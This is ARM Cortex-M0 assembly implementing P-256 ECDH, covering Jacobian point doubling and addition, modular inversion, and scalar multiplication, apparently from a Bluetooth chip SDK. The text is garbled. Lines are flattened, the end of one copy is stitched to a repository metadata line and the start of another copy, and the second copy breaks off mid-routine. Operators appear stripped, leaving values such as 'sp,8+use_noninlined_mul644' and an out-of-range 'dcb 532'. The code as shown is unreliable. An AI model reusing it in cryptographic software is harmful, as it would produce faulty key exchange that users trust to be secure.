r3,r0,r3 muls r4,r0,r4 add r11,r2 add r12,r3 add lr,r4 adds r1,#72 adds r7,#1 cmp r7,#8 bne %b1 pop {r0,r6} frame address sp,24 mov r2,r8 mov r3,r9 mov r4,r10 stm r0!,{r2-r4} mov r2,r11 mov r3,r12 mov r4,lr stm r0!,{r2-r4} subs r1,#248 subs r1,#248 subs r1,#248 subs r6,#1 bne %b0 pop {r0,r4-r7,pc} endp ; Doubles the point in Jacobian form (integers are in Montgomery form) ; r0 = out, r1 = in P256_double_j proc if use_interpreter == 1 adr r2,P256_double_j_prog b P256_interpreter else push {r0,r1,r4-r7,lr} frame push {r4-r7,lr} frame address sp,28 ; https://eprint.iacr.org/2014/130.pdf, algorithm 10 ; t1 = Z1^2 sub sp,#32 frame address sp,60 mov r0,sp adds r1,#64 bl P256_sqrmod ; Z2 = Y1 Z1 ldr r0,[sp,#32] ldr r1,[sp,#36] adds r0,#64 adds r1,#32 movs r2,#32 adds r2,r1 bl P256_mulmod ; t2 = X1 + t1 ldr r1,[sp,#36] mov r2,sp sub sp,#32 frame address sp,92 mov r0,sp bl P256_addmod ; t1 = X1 - t1 ldr r1,[sp,#68] add r2,sp,#32 mov r0,r2 bl P256_submod ; t1 = t1 * t2 add r1,sp,#32 mov r2,sp mov r0,r1 bl P256_mulmod ; t2 = t1 / 2 add sp,#32 frame address sp,60 mov r7,sp ldm r7!,{r0-r3} lsls r6,r0,#31 asrs r5,r6,#31 lsrs r6,#31 movs r4,#0 adds r0,r5 adcs r1,r5 adcs r2,r5 adcs r3,r4 push {r0-r3} frame address sp,76 ldm r7!,{r0-r3} adcs r0,r4 adcs r1,r4 adcs r2,r6 adcs r3,r5 movs r4,#0 adcs r4,r4 lsls r7,r4,#31 lsrs r6,r3,#1 orrs r7,r6 lsls r6,r3,#31 lsrs r5,r2,#1 orrs r6,r5 lsls r5,r2,#31 lsrs r4,r1,#1 orrs r5,r4 lsls r4,r1,#31 lsrs r3,r0,#1 orrs r4,r3 lsls r3,r0,#31 mov r8,r3 pop {r0-r3} frame address sp,60 push {r4-r7} frame address sp,76 mov r7,r8 lsrs r6,r3,#1 orrs r7,r6 lsls r6,r3,#31 lsrs r5,r2,#1 orrs r6,r5 lsls r5,r2,#31 lsrs r4,r1,#1 orrs r5,r4 lsls r4,r1,#31 lsrs r3,r0,#1 orrs r4,r3 push {r4-r7} frame address sp,92 ; t1 = t1 + t2 add r1,sp,#32 mov r2,sp mov r0,r1 bl P256_addmod ; t2 = t1^2 mov r0,sp add r1,sp,#32 bl P256_sqrmod ; Y2 = Y1^2 ldr r0,[sp,#64] ldr r1,[sp,#68] adds r0,#32 adds r1,#32 bl P256_sqrmod ; t3 = Y2^2 ldr r1,[sp,#64] adds r1,#32 sub sp,#32 frame address sp,124 mov r0,sp bl P256_sqrmod ; Y2 = X1 * Y2 ldr r0,[sp,#96] ldr r1,[sp,#100] adds r0,#32 mov r2,r0 bl P256_mulmod ; X2 = 2 * Y2 ldr r0,[sp,#96] mov r1,r0 adds r1,#32 mov r2,r1 bl P256_addmod ; X2 = t2 - X2 ldr r0,[sp,#96] add r1,sp,#32 mov r2,r0 bl P256_submod ; t2 = Y2 - X2 ldr r2,[sp,#96] mov r1,r2 adds r1,#32 add r0,sp,#32 bl P256_submod ; t1 = t1 * t2 add r0,sp,#64 add r1,sp,#64 add r2,sp,#32 bl P256_mulmod ; Y2 = t1 - t3 ldr r0,[sp,#96] adds r0,#32 add r1,sp,#64 mov r2,sp bl P256_submod add sp,#104 frame address sp,20 pop {r4-r7,pc} endif endp ; Adds or subtracts points in Jacobian form (integers are in Montgomery form) ; The first operand is located in r0, the second in r1 (may not overlap) ; The result is stored at r0 ; ; Requirements: ; - no operand is the point at infinity ; - both operand must be different ; - one operand must not be the negation of the other ; If requirements are not met, the returned Z point will be 0 P256_add_j proc if use_interpreter == 1 adr r2,P256_add_j_prog b P256_interpreter else push {r0,r1,r4-r7,lr} frame push {r4-r7,lr} frame address sp,28 ; Here a variant of ; https://www.hyperelliptic.org/EFD/g1p/auto-code/shortw/jacobian-3/addition/add-1998-cmo-2.op3 ; is used, but rearranged and uses less temporaries. ; The first operand to the function is both (X3,Y3,Z3) and (X2,Y2,Z2). ; The second operand to the function is (X1,Y1,Z1) ; Z1Z1 = Z1^2 sub sp,#32 frame address sp,60 mov r0,sp adds r1,#64 bl P256_sqrmod ; U2 = X2Z1Z1 ldr r1,[sp,#32] mov r2,sp mov r0,r1 bl P256_mulmod ; t1 = Z1Z1Z1 ldr r1,[sp,#36] adds r1,#64 mov r2,sp mov r0,sp bl P256_mulmod ; S2 = Y2t1 ldr r1,[sp,#32] adds r1,#32 mov r2,sp mov r0,r1 bl P256_mulmod ; Z2Z2 = Z2^2 sub sp,#32 frame address sp,92 mov r0,sp ldr r1,[sp,#64] adds r1,#64 bl P256_sqrmod ; U1 = X1Z2Z2 ldr r1,[sp,#68] mov r2,sp add r0,sp,#32 bl P256_mulmod ; t2 = Z2Z2Z2 ldr r1,[sp,#64] adds r1,#64 mov r2,sp mov r0,sp bl P256_mulmod ; S1 = Y1t2 ldr r1,[sp,#68] adds r1,#32 mov r2,sp mov r0,sp bl P256_mulmod ; H = U2-U1 ldr r1,[sp,#64] add r2,sp,#32 mov r0,r1 bl P256_submod ; HH = H^2 ldr r1,[sp,#64] sub sp,#32 frame address sp,124 mov r0,sp bl P256_sqrmod ; Z3 = Z2H ldr r2,[sp,#96] mov r1,r2 adds r1,#64 mov r0,r1 bl P256_mulmod ; Z3 = Z1Z3 ldr r1,[sp,#100] adds r1,#64 ldr r2,[sp,#96] adds r2,#64 mov r0,r2 bl P256_mulmod ; HHH = HHH ldr r1,[sp,#96] mov r2,sp mov r0,r1 bl P256_mulmod ; r = S2-S1 ldr r1,[sp,#96] adds r1,#32 add r2,sp,#32 mov r0,r1 bl P256_submod ; V = U1HH add r1,sp,#64 mov r2,sp mov r0,r1 bl P256_mulmod ; t3 = r^2 ldr r1,[sp,#96] adds r1,#32 mov r0,sp bl P256_sqrmod ; t2 = S1HHH add r1,sp,#32 ldr r2,[sp,#96] add r0,sp,#32 bl P256_mulmod ; X3 = t3-HHH mov r1,sp ldr r2,[sp,#96] mov r0,r2 bl P256_submod ; t3 = 2V add r1,sp,#64 add r2,sp,#64 mov r0,sp bl P256_addmod ; X3 = X3-t3 ldr r1,[sp,#96] mov r2,sp mov r0,r1 bl P256_submod ; t3 = V-X3 add r1,sp,#64 ldr r2,[sp,#96] mov r0,sp bl P256_submod ; t3 = rt3 ldr r1,[sp,#96] adds r1,#32 mov r2,sp mov r0,sp bl P256_mulmod ; Y3 = t3-t2 mov r1,sp add r2,sp,#32 ldr r0,[sp,#96] adds r0,#32 bl P256_submod add sp,#104 frame address sp,20 pop {r4-r7,pc} endif endp if use_interpreter == 1 align 4 P256_add_j_prog dcw 0x2080 dcw 0x1330 dcw 0x1080 dcw 0x1440 dcw 0x2150 dcw 0x1061 dcw 0x1151 dcw 0x1171 dcw 0x4330 dcw 0x2230 dcw 0x1553 dcw 0x1585 dcw 0x1332 dcw 0x4441 dcw 0x1002 dcw 0x2240 dcw 0x1113 dcw 0x4323 dcw 0x3200 dcw 0x4332 dcw 0x4203 dcw 0x1242 dcw 0x4421 dcw 0x0000 align 4 P256_double_j_prog dcw 0x2080 dcw 0x1578 dcw 0x3160 dcw 0x4060 dcw 0x1001 dcw 0x5100 dcw 0x3001 dcw 0x2100 dcw 0x2470 dcw 0x2240 dcw 0x1464 dcw 0x3344 dcw 0x4313 dcw 0x4143 dcw 0x1001 dcw 0x4402 dcw 0x0000 ; in: r0 = output, r1 = input P256_div2mod proc mov r9,r0 mov r7,r1 ldm r7!,{r0-r3} lsls r6,r0,#31 asrs r5,r6,#31 lsrs r6,#31 movs r4,#0 adds r0,r5 adcs r1,r5 adcs r2,r5 adcs r3,r4 push {r0-r3} frame address sp,76 ldm r7!,{r0-r3} adcs r0,r4 adcs r1,r4 adcs r2,r6 adcs r3,r5 movs r4,#0 adcs r4,r4 lsls r7,r4,#31 lsrs r6,r3,#1 orrs r7,r6 lsls r6,r3,#31 lsrs r5,r2,#1 orrs r6,r5 lsls r5,r2,#31 lsrs r4,r1,#1 orrs r5,r4 lsls r4,r1,#31 lsrs r3,r0,#1 orrs r4,r3 lsls r3,r0,#31 mov r0,r9 adds r0,#16 stm r0!,{r4-r7} mov r7,r3 pop {r0-r3} lsrs r6,r3,#1 orrs r7,r6 lsls r6,r3,#31 lsrs r5,r2,#1 orrs r6,r5 lsls r5,r2,#31 lsrs r4,r1,#1 orrs r5,r4 lsls r4,r1,#31 lsrs r3,r0,#1 orrs r4,r3 mov r0,r9 stm r0!,{r4-r7} bx lr endp ; in: r0 = op1, r1 = op2, r2 = program ; program is an array of 16-bit integers, ending with 0x0000 ; in an opcode, bit 12-15 is function to execute (exit, mul, sqr, add, sub, div2), ; bit 8-11 is dest, bit 4-7 is first operand, bit 0-3 is second operand ; the operand is encoded like this: ; operand 0-2 is temporary variable 0-2 ; operand 3-5 is op1[0], op1[1], op1[2] ; operand 6-8 is op2[0], op2[1], op2[2] ; each variable is 32 bytes ; for a function taking less than two parameters, the extra parameters are ignored P256_interpreter proc push {r4-r7,lr} frame push {r4-r7,lr} sub sp,#96 frame address sp,116 movs r3,#32 mov r4,r1 adds r5,r1,r3 adds r6,r5,r3 push {r4-r6} frame address sp,128 mov r4,r0 adds r5,r0,r3 adds r6,r5,r3 push {r4-r6} frame address sp,140 add r4,sp,#24 adds r5,r4,r3 adds r6,r5,r3 push {r4-r6} frame address sp,152 0 movs r4,#0x3c mov r5,sp ldrh r3,[r2] adds r2,#2 push {r2} frame address sp,156 lsls r2,r3,#2 ands r2,r4 ldr r2,[r5,r2] lsrs r1,r3,#2 ands r1,r4 ldr r1,[r5,r1] lsrs r0,r3,#6 ands r0,r4 ldr r0,[r5,r0] adr r5,P256_functions-4 lsrs r6,r3,#10 ands r6,r4 beq %f1 ldr r6,[r5,r6] blx r6 pop {r2} frame address sp,152 b %b0 1 frame address sp,156 add sp,#136 frame address sp,20 pop {r4-r7,pc} endp align 4 P256_functions dcd P256_mulmod ;1 dcd P256_sqrmod ;2 dcd P256_addmod ;3 dcd P256_submod ;4 dcd P256_div2mod ;5 endif if use_smaller_modinv == 1 ; in/out: r0-r7 P256_modinv proc push {r0-r7,lr} frame push {r4-r7,lr} frame address sp,36 sub sp,#36 frame address sp,72 mov r0,sp bl P256_load_1 mov r1,r0 bl P256_to_montgomery adr r0,P256_p ldm r0,{r0-r7} subs r0,#2 push {r0-r7} frame address sp,104 movs r0,#255 0 str r0,[sp,#64] add r0,sp,#32 add r1,sp,#32 bl P256_sqrmod ldr r0,[sp,#64] lsrs r1,r0,#3 add r1,r1,sp ldrb r1,[r1] movs r2,#7 ands r2,r2,r0 lsrs r1,r2 movs r2,#1 tst r1,r2 beq %f1 add r0,sp,#32 add r1,sp,#32 add r2,sp,#68 bl P256_mulmod 1 ldr r0,[sp,#64] subs r0,#1 bpl %b0 add sp,#32 frame address sp,72 pop {r0-r7} frame address sp,40 add sp,#36 frame address sp,4 pop {pc} endp else ; in: r0 = input/output, r1 = count, r2 = operand for final multiplication P256_sqrmod_many_and_mulmod proc push {r0,r2,lr} frame push {lr} frame address sp,12 cmp r1,#0 beq %f1 0 push {r1} frame address sp,16 ldr r0,[sp,#4] mov r1,r0 bl P256_sqrmod pop {r1} frame address sp,12 subs r1,#1 bne %b0 1 pop {r0,r1} frame address sp,4 mov r2,r0 bl P256_mulmod pop {pc} endp ; in: r0 = value in/out ; for modinv, call input a, then if a = A * R % p, then it calculates A^-1 * R % p = (a/R)^-1 * R % p = R^2 / a % p P256_modinv proc push {r0,lr} frame push {lr} frame address sp,8 ldm r0,{r0-r7} push {r0-r7} frame address sp,40 ; t = a^2a ldr r0,[sp,#32] movs r1,#1 mov r2,sp bl P256_sqrmod_many_and_mulmod ldr r0,[sp,#32] ldm r0,{r0-r7} push {r0-r7} frame address sp,72 ; a4_2 = a2_0^(2^2) ldr r0,[sp,#64] mov r1,r0 bl P256_sqrmod ldr r0,[sp,#64] mov r1,r0 bl P256_sqrmod ldr r0,[sp,#64] ldm r0,{r0-r7} push {r0-r7} frame address sp,104 ; a4_0 = a4_2a2_0 ldr r0,[sp,#96] mov r1,sp add r2,sp,#32 bl P256_mulmod add r0,sp,#32 ldr r1,[sp,#96] bl P256_copy32 ldr r7,[sp,#96] movs r4,#0 0 adr r2,P256_invtbl ldrsb r0,[r2,r4] adds r2,#1 ldrb r5,[r2,r4] lsls r6,r0,#2 bpl %f1 sub sp,#32 frame address sp,200 ; not always correct mov r0,sp mov r1,r7 bl P256_copy32 1 mov r0,r7 uxtb r1,r6 mov r2,r5 add r2,sp push {r4,r7} frame address sp,208 ; not always correct bl P256_sqrmod_many_and_mulmod pop {r4,r7} frame address sp,200 ; not always correct adds r4,#2 cmp r4,#22 bne %b0 add sp,#632+4 frame address sp,4 pop {pc} endp align 4 P256_invtbl dcb ((8-4)>>2) dcb 32 dcb ((16-8)>>2)+128 dcb 0 dcb (16>>2)+128 dcb 0 dcb (32>>2)+128 dcb 532 dcb (192-64)>>2 dcb 0 dcb (224-192)>>2 dcb 0 dcb (240-224)>>2 dcb 32 dcb (248-240)>>2 dcb 64 dcb (252-248)>>2 dcb 128 dcb (256-252)>>2 dcb 96 dcb 0 dcb 532 endif ; r0 = output affine montgomery/input jacobian montgomery P256_jacobian_to_affine proc push {r0,r4-r7,lr} frame push {r4-r7,lr} frame address sp,24 adds r0,#64 ldm r0,{r0-r7} if use_smaller_modinv == 0 push {r0-r7} frame address sp,56 mov r0,sp bl P256_modinv else bl P256_modinv push {r0-r7} frame address sp,56 endif mov r1,sp sub sp,#32 frame address sp,88 mov r0,sp bl P256_sqrmod add r1,sp,#32 mov r2,sp mov r0,r1 bl P256_mulmod mov r1,sp ldr r0,[sp,#64] mov r2,r0 bl P256_mulmod add r1,sp,#32 ldr r0,[sp,#64] adds r0,#32 mov r2,r0 bl P256_mulmod add sp,#68 frame address sp,20 pop {r4-r7,pc} endp ; performs r0 := abs(r0) P256_abs_int proc rsbs r2,r0,#0 asrs r3,r0,#31 ands r3,r2 asrs r2,#31 ands r0,r2 orrs r0,r0,r3 bx lr endp ; in: r0 = output, r1 = point, r2 = scalar, r3 = include y in result (1/0) ; out: r0 = 1 on success, 0 if invalid point or scalar P256_pointmult proc export P256_pointmult push {r4-r7,lr} frame push {r4-r7,lr} mov r4,r8 mov r5,r9 mov r6,r10 mov r7,r11 push {r0-r1,r4-r7} frame address sp,44 frame save {r8-r11},-36 sub sp,#256 frame address sp,300 lsls r6,r3,#16 ; load scalar into an aligned position add r0,sp,#32 mov r1,r2 bl P256_copy32_unaligned ; fail if scalar == 0 mov r0,sp bl P256_load_1 add r0,sp,#32 mov r1,sp bl P256_greater_or_equal_than bne %f1 0 add sp,#256+8 frame address sp,36 b %f10 frame address sp,300 1 ; fail if not (scalar < n) add r0,sp,#32 adr r1,P256_order bl P256_greater_or_equal_than subs r0,#1 beq %b0 ; select scalar if scalar is odd and -scalar mod n if scalar is even mov r0,sp add r1,sp,#32 ldr r2,[r1] movs r3,#1 ands r2,r3 eors r2,r3 add r6,r2 ; save original parity of scalar adr r3,P256_order bl P256_negate_mod_m_if ; stack layout (initially offset 768): ; 0-767: table of jacobian points P, 3P, 5P, ..., 15P ; 768-863: current point (in jacobian form) ; 864-927: scalar rewritten into 4-bit window, each element having an odd signed value ; 928-1023: extracted selected point from the table ; 1024-1027: output pointer ; 1028-1031: input point ; rewrite scalar into 4-bit window where every value is odd add r1,sp,#864-768 ldr r0,[sp] lsls r0,#28 lsrs r0,#28 movs r2,#1 mov r4,sp movs r5,#1 2 lsrs r3,r2,#1 ldrb r3,[r4,r3] lsls r7,r2,#31 lsrs r7,#29 lsrs r3,r7 lsls r3,#28 lsrs r3,#28 movs r7,#1 ands r7,r3 eors r7,r5 lsls r7,#4 subs r0,r7 strb r0,[r1] adds r1,#1 orrs r3,r5 mov r0,r3 adds r2,#1 cmp r2,#64 bne %b2 strb r0,[r1] ; load point into an aligned position ldr r1,[sp,#1028-768] sub sp,#384 frame address sp,684 sub sp,#384 frame address sp,1068 mov r0,sp bl P256_copy32_unaligned bl P256_copy32_unaligned ; fail if not x, y < p mov r0,sp adr r1,P256_p bl P256_greater_or_equal_than subs r0,#1 bne %f4 3 add sp,#384 frame address sp,684 add sp,#384 frame address sp,300 b %b0 frame address sp,1068 4 add r0,sp,#32 adr r1,P256_p bl P256_greater_or_equal_than subs r0,#1 beq %b3 ; convert basepoint x, y to montgomery form, ; and place result as first element in table of Jacobian points mov r0,sp mov r1,sp bl P256_to_montgomery add r0,sp,#32 add r1,sp,#32 bl P256_to_montgomery ; check that the basepoint lies on the curve mov r0,sp bl P256_point_is_on_curve cmp r0,#0 beq %b3 ; load montgomery 1 for Z add r0,sp,#64 bl P256_load_1 mov r1,r0 bl P256_to_montgomery ; temporarily calculate 2P add r0,sp,#796 mov r1,sp bl P256_double_j ; calculate rest of the table (3P, 5P, ..., 15P) add r4,sp,#96 movs r5,#7 5 mov r0,r4 add r1,sp,#796 bl P256_copy32 bl P256_copy32 bl P256_copy32 mov r0,r4 mov r1,r0 subs r1,#96 bl P256_add_j adds r4,#96 subs r5,#1 bne %b5 ; select the initial current point based on the first highest 4 scalar bits add r7,sp,#928 subs r7,#1 ldrb r0,[r7] subs r7,#1 sxtb r0,r0 bl P256_abs_int lsrs r2,r0,#1 add r0,sp,#768 mov r1,sp bl P256_select ; main loop iterating from index 62 to 0 of the windowed scalar add r5,sp,#864 6 movs r4,#4 7 add r0,sp,#768 mov r1,r0 bl P256_double_j subs r4,#1 bne %b7 ; select the point to add, and then add to the current point ldrb r0,[r7] subs r7,#1 sxtb r0,r0 lsrs r4,r0,#31 bl P256_abs_int lsrs r2,r0,#1 add r0,sp,#928 mov r1,sp bl P256_select add r0,sp,#960 mov r1,r0 mov r2,r4 adr r3,P256_p bl P256_negate_mod_m_if cmp r7,r5 bge %f8 ; see note below add r0,sp,#672 add r1,sp,#768 bl P256_double_j 8 add r0,sp,#768 add r1,sp,#928 bl P256_add_j cmp r7,r5 bge %b6 ; Note: ONLY for the scalars 2 and -2 mod n, the last addition will ; be an addition where both input values are equal. The addition algorithm ; fails for such a case (returns Z=0) and we must therefore use the doubling ; formula. Both values are computed and then the correct value is selected ; in constant time based on whether the addition formula returned Z=0. ; Obviously if the scalar (private key) is properly randomized, this would ; (with extremely high probability), never occur. mov r0,sp bl P256_load_1 add r0,sp,#768+64 mov r1,sp bl P256_greater_or_equal_than adds r2,r0,#6 add r0,sp,#928 add r1,sp,#96 bl P256_select add sp,#464 ;928/2 frame address sp,604 add sp,#464 frame address sp,140 mov r0,sp bl P256_jacobian_to_affine mov r0,sp mov r1,sp bl P256_from_montgomery add r0,sp,#32 add r1,sp,#32 bl P256_from_montgomery add r0,sp,#32 add r1,sp,#32 uxtb r2,r6 adr r3,P256_p bl P256_negate_mod_m_if ldr r0,[sp,#96] mov r1,sp bl P256_copy32_unaligned lsrs r6,#16 beq %f9 bl P256_copy32_unaligned 9 movs r0,#1 add sp,#96+8 frame address sp,36 10 pop {r4-r7} frame address sp,20 mov r8,r4 mov r9,r5 mov r10,r6 mov r11,r7 pop {r4-r7,pc} endp ; in: r0 = output, r1 = private key scalar ; out: r0 = 1 on success, 0 if scalar is out of range P256_ecdh_keygen proc export P256_ecdh_keygen mov r2,r1 adr r1,P256_basepoint movs r3,#1 b P256_pointmult endp ; in: r0 = output, r1 = other's public point, r2 = private key scalar ; out: r0 = 1 on success, 0 if invalid public point or private key scalar P256_ecdh_shared_secret proc export P256_ecdh_shared_secret movs r3,#0 b P256_pointmult endp align 4 P256_p dcd 0xffffffff dcd 0xffffffff dcd 0xffffffff dcd 0 dcd 0 dcd 0 dcd 1 dcd 0xffffffff P256_order dcd 0xFC632551 dcd 0xF3B9CAC2 dcd 0xA7179E84 dcd 0xBCE6FAAD dcd 0xFFFFFFFF dcd 0xFFFFFFFF dcd 0 dcd 0xFFFFFFFF P256_basepoint dcd 0xD898C296 dcd 0xF4A13945 dcd 0x2DEB33A0 dcd 0x77037D81 dcd 0x63A440F2 dcd 0xF8BCE6E5 dcd 0xE12C4247 dcd 0x6B17D1F2 dcd 0x37BF51F5 dcd 0xCBB64068 dcd 0x6B315ECE dcd 0x2BCE3357 dcd 0x7C0F9E16 dcd 0x8EE7EB4A dcd 0xFE1A7F9B dcd 0x4FE342E2 end
17HXX/BLE5_ST17H66	45,709	ST17H66_SDK_3.0.9/components/ethermind/external/crypto/asm_ecdh_p256/P256-cortex-m0-ecdh-keil.s	; P-256 ECDH ; Author: Emil Lenngren ; Licensed under the BSD 2-clause license. ; The 256x256->512 multiplication/square code is based on public domain NaCl by Ana Helena Snchez and Bjrn Haase (https://munacl.cryptojedi.org/curve25519-cortexm0.shtml) ; Note on calling conventions: some of the local functions in this file use custom calling conventions. ; Exported symbols use the standard C calling conventions for ARM, which means that r4-r11 and sp are preserved and the other registers are clobbered. ; Stack usage is 1356 bytes. ; Settings below for optimizing for speed vs size. ; When optimizing fully for speed, the run time is 4 456 738 cycles and code size is 3708 bytes. ; When optimizing fully for size, the run time is 5 764 182 cycles and code size is 2416 bytes. ; Get the time taken (in seconds) by dividing the number of cycles with the clock frequency (Hz) of the cpu. ; Different optimization levels can be done by setting some to 1 and some to 0. ; Optimizing all settings for size except use_mul_for_sqr and use_smaller_modinv gives a run time of 4 851 527 cycles and code size is 2968 bytes. gbla use_mul_for_sqr use_mul_for_sqr seta 0 ; 1 to enable, 0 to disable (14% slower if enabled but saves 624/460 bytes (depending on use_noninlined_sqr64) of compiled code size) gbla use_noninlined_mul64 use_noninlined_mul64 seta 1 ; 1 to enable, 0 to disable (2.6%/4.0% slower (depending on use_mul_for_sqr) if enabled but saves 308 bytes of compiled code size) gbla use_noninlined_sqr64 use_noninlined_sqr64 seta 1 ; 1 to enable, 0 to disable (2.4% slower if enabled and use_mul_for_sqr=0 but saves 164 bytes of compiled code size) gbla use_interpreter use_interpreter seta 1 ; 1 to enable, 0 to disable (3.6% slower if enabled but saves 268 bytes of compiled code size) gbla use_smaller_modinv use_smaller_modinv seta 0 ; 1 to enable, 0 to disable (3.6% slower if enabled but saves 88 bytes of compiled code size) area \|.text\|,code,readonly align 2 if use_noninlined_mul64 == 1 ; in: (r4,r5) = a[0..1], (r2,r3) = b[0..1] ; out: r0-r3 ; clobbers r4-r9 and lr P256_mul64 proc mov r6,r5 mov r1,r2 subs r5,r4 sbcs r0,r0 eors r5,r0 subs r5,r0 subs r1,r3 sbcs r7,r7 eors r1,r7 subs r1,r7 eors r7,r0 mov r9,r1 mov r8,r5 lsrs r1,r4,#16 uxth r4,r4 mov r0,r4 uxth r5,r2 lsrs r2,#16 muls r0,r5,r0;//00 muls r5,r1,r5;//10 muls r4,r2,r4;//01 muls r1,r2,r1;//11 lsls r2,r4,#16 lsrs r4,r4,#16 adds r0,r2 adcs r1,r4 lsls r2,r5,#16 lsrs r4,r5,#16 adds r0,r2 adcs r1,r4 lsrs r4,r6,#16 uxth r6,r6 uxth r5,r3 lsrs r3,r3,#16 mov r2,r6 muls r2,r5,r2 muls r5,r4,r5 muls r6,r3,r6 muls r3,r4,r3 lsls r4,r5,#16 lsrs r5,r5,#16 adds r2,r4 adcs r3,r5 lsls r4,r6,#16 lsrs r5,r6,#16 adds r2,r4 adcs r3,r5 eors r6,r6 adds r2,r1 adcs r3,r6 mov r1,r9 mov r5,r8 mov r8,r0 lsrs r0,r1,#16 uxth r1,r1 mov r4,r1 lsrs r6,r5,#16 uxth r5,r5 muls r1,r5,r1 muls r4,r6,r4 muls r5,r0,r5 muls r0,r6,r0 lsls r6,r4,#16 lsrs r4,#16 adds r1,r6 adcs r0,r4 lsls r6,r5,#16 lsrs r5,#16 adds r1,r6 adcs r0,r5 eors r1,r7 eors r0,r7 eors r4,r4 asrs r7,r7,#1 adcs r1,r2 adcs r2,r0 adcs r7,r4 mov r0,r8 adds r1,r0 adcs r2,r3 adcs r3,r7 bx lr endp endif ; in: r10 = a, r11 = b, (r4,r5) = a[0..1], (r2,r3) = b[0..1] ; out: r8,r9,r2-r7 ; clobbers all other registers P256_mul128 proc if use_noninlined_mul64 == 1 push {lr} frame push {lr} endif ;///////MUL128///////////// ;MUL64 if use_noninlined_mul64 == 0 mov r6,r5 mov r1,r2 subs r5,r4 sbcs r0,r0 eors r5,r0 subs r5,r0 subs r1,r3 sbcs r7,r7 eors r1,r7 subs r1,r7 eors r7,r0 mov r9,r1 mov r8,r5 lsrs r1,r4,#16 uxth r4,r4 mov r0,r4 uxth r5,r2 lsrs r2,#16 muls r0,r5,r0;//00 muls r5,r1,r5;//10 muls r4,r2,r4;//01 muls r1,r2,r1;//11 lsls r2,r4,#16 lsrs r4,r4,#16 adds r0,r2 adcs r1,r4 lsls r2,r5,#16 lsrs r4,r5,#16 adds r0,r2 adcs r1,r4 lsrs r4,r6,#16 uxth r6,r6 uxth r5,r3 lsrs r3,r3,#16 mov r2,r6 muls r2,r5,r2 muls r5,r4,r5 muls r6,r3,r6 muls r3,r4,r3 lsls r4,r5,#16 lsrs r5,r5,#16 adds r2,r4 adcs r3,r5 lsls r4,r6,#16 lsrs r5,r6,#16 adds r2,r4 adcs r3,r5 eors r6,r6 adds r2,r1 adcs r3,r6 mov r1,r9 mov r5,r8 mov r8,r0 lsrs r0,r1,#16 uxth r1,r1 mov r4,r1 lsrs r6,r5,#16 uxth r5,r5 muls r1,r5,r1 muls r4,r6,r4 muls r5,r0,r5 muls r0,r6,r0 lsls r6,r4,#16 lsrs r4,#16 adds r1,r6 adcs r0,r4 lsls r6,r5,#16 lsrs r5,#16 adds r1,r6 adcs r0,r5 eors r1,r7 eors r0,r7 eors r4,r4 asrs r7,r7,#1 adcs r1,r2 adcs r2,r0 adcs r7,r4 mov r0,r8 adds r1,r0 adcs r2,r3 adcs r3,r7 else bl P256_mul64 endif push {r0,r1} frame address sp,8+use_noninlined_mul644 mov r1,r10 mov r10,r2 ldm r1,{r0,r1,r4,r5} mov r2,r4 mov r7,r5 subs r2,r0 sbcs r7,r1 sbcs r6,r6 eors r2,r6 eors r7,r6 subs r2,r6 sbcs r7,r6 push {r2,r7} frame address sp,16+use_noninlined_mul644 mov r2,r11 mov r11,r3 ldm r2,{r0,r1,r2,r3} subs r0,r2 sbcs r1,r3 sbcs r7,r7 eors r0,r7 eors r1,r7 subs r0,r7 sbcs r1,r7 eors r7,r6 mov r12,r7 push {r0,r1} frame address sp,24+use_noninlined_mul644 ;MUL64 if use_noninlined_mul64 == 0 mov r6,r5 mov r1,r2 subs r5,r4 sbcs r0,r0 eors r5,r0 subs r5,r0 subs r1,r3 sbcs r7,r7 eors r1,r7 subs r1,r7 eors r7,r0 mov r9,r1 mov r8,r5 lsrs r1,r4,#16 uxth r4,r4 mov r0,r4 uxth r5,r2 lsrs r2,#16 muls r0,r5,r0;//00 muls r5,r1,r5;//10 muls r4,r2,r4;//01 muls r1,r2,r1;//11 lsls r2,r4,#16 lsrs r4,r4,#16 adds r0,r2 adcs r1,r4 lsls r2,r5,#16 lsrs r4,r5,#16 adds r0,r2 adcs r1,r4 lsrs r4,r6,#16 uxth r6,r6 uxth r5,r3 lsrs r3,r3,#16 mov r2,r6 muls r2,r5,r2 muls r5,r4,r5 muls r6,r3,r6 muls r3,r4,r3 lsls r4,r5,#16 lsrs r5,r5,#16 adds r2,r4 adcs r3,r5 lsls r4,r6,#16 lsrs r5,r6,#16 adds r2,r4 adcs r3,r5 eors r6,r6 adds r2,r1 adcs r3,r6 mov r1,r9 mov r5,r8 mov r8,r0 lsrs r0,r1,#16 uxth r1,r1 mov r4,r1 lsrs r6,r5,#16 uxth r5,r5 muls r1,r5,r1 muls r4,r6,r4 muls r5,r0,r5 muls r0,r6,r0 lsls r6,r4,#16 lsrs r4,#16 adds r1,r6 adcs r0,r4 lsls r6,r5,#16 lsrs r5,#16 adds r1,r6 adcs r0,r5 eors r1,r7 eors r0,r7 eors r4,r4 asrs r7,r7,#1 adcs r1,r2 adcs r2,r0 adcs r7,r4 mov r0,r8 adds r1,r0 adcs r2,r3 adcs r3,r7 else bl P256_mul64 endif mov r4,r10 mov r5,r11 eors r6,r6 adds r0,r4 adcs r1,r5 adcs r2,r6 adcs r3,r6 mov r10,r2 mov r11,r3 pop {r2-r5} frame address sp,8+use_noninlined_mul644 push {r0,r1} frame address sp,16+use_noninlined_mul644 if use_noninlined_mul64 == 0 mov r6,r5 mov r1,r2 subs r5,r4 sbcs r0,r0 eors r5,r0 subs r5,r0 subs r1,r3 sbcs r7,r7 eors r1,r7 subs r1,r7 eors r7,r0 mov r9,r1 mov r8,r5 lsrs r1,r4,#16 uxth r4,r4 mov r0,r4 uxth r5,r2 lsrs r2,#16 muls r0,r5,r0;//00 muls r5,r1,r5;//10 muls r4,r2,r4;//01 muls r1,r2,r1;//11 lsls r2,r4,#16 lsrs r4,r4,#16 adds r0,r2 adcs r1,r4 lsls r2,r5,#16 lsrs r4,r5,#16 adds r0,r2 adcs r1,r4 lsrs r4,r6,#16 uxth r6,r6 uxth r5,r3 lsrs r3,r3,#16 mov r2,r6 muls r2,r5,r2 muls r5,r4,r5 muls r6,r3,r6 muls r3,r4,r3 lsls r4,r5,#16 lsrs r5,r5,#16 adds r2,r4 adcs r3,r5 lsls r4,r6,#16 lsrs r5,r6,#16 adds r2,r4 adcs r3,r5 eors r6,r6 adds r2,r1 adcs r3,r6 mov r1,r9 mov r5,r8 mov r8,r0 lsrs r0,r1,#16 uxth r1,r1 mov r4,r1 lsrs r6,r5,#16 uxth r5,r5 muls r1,r5,r1 muls 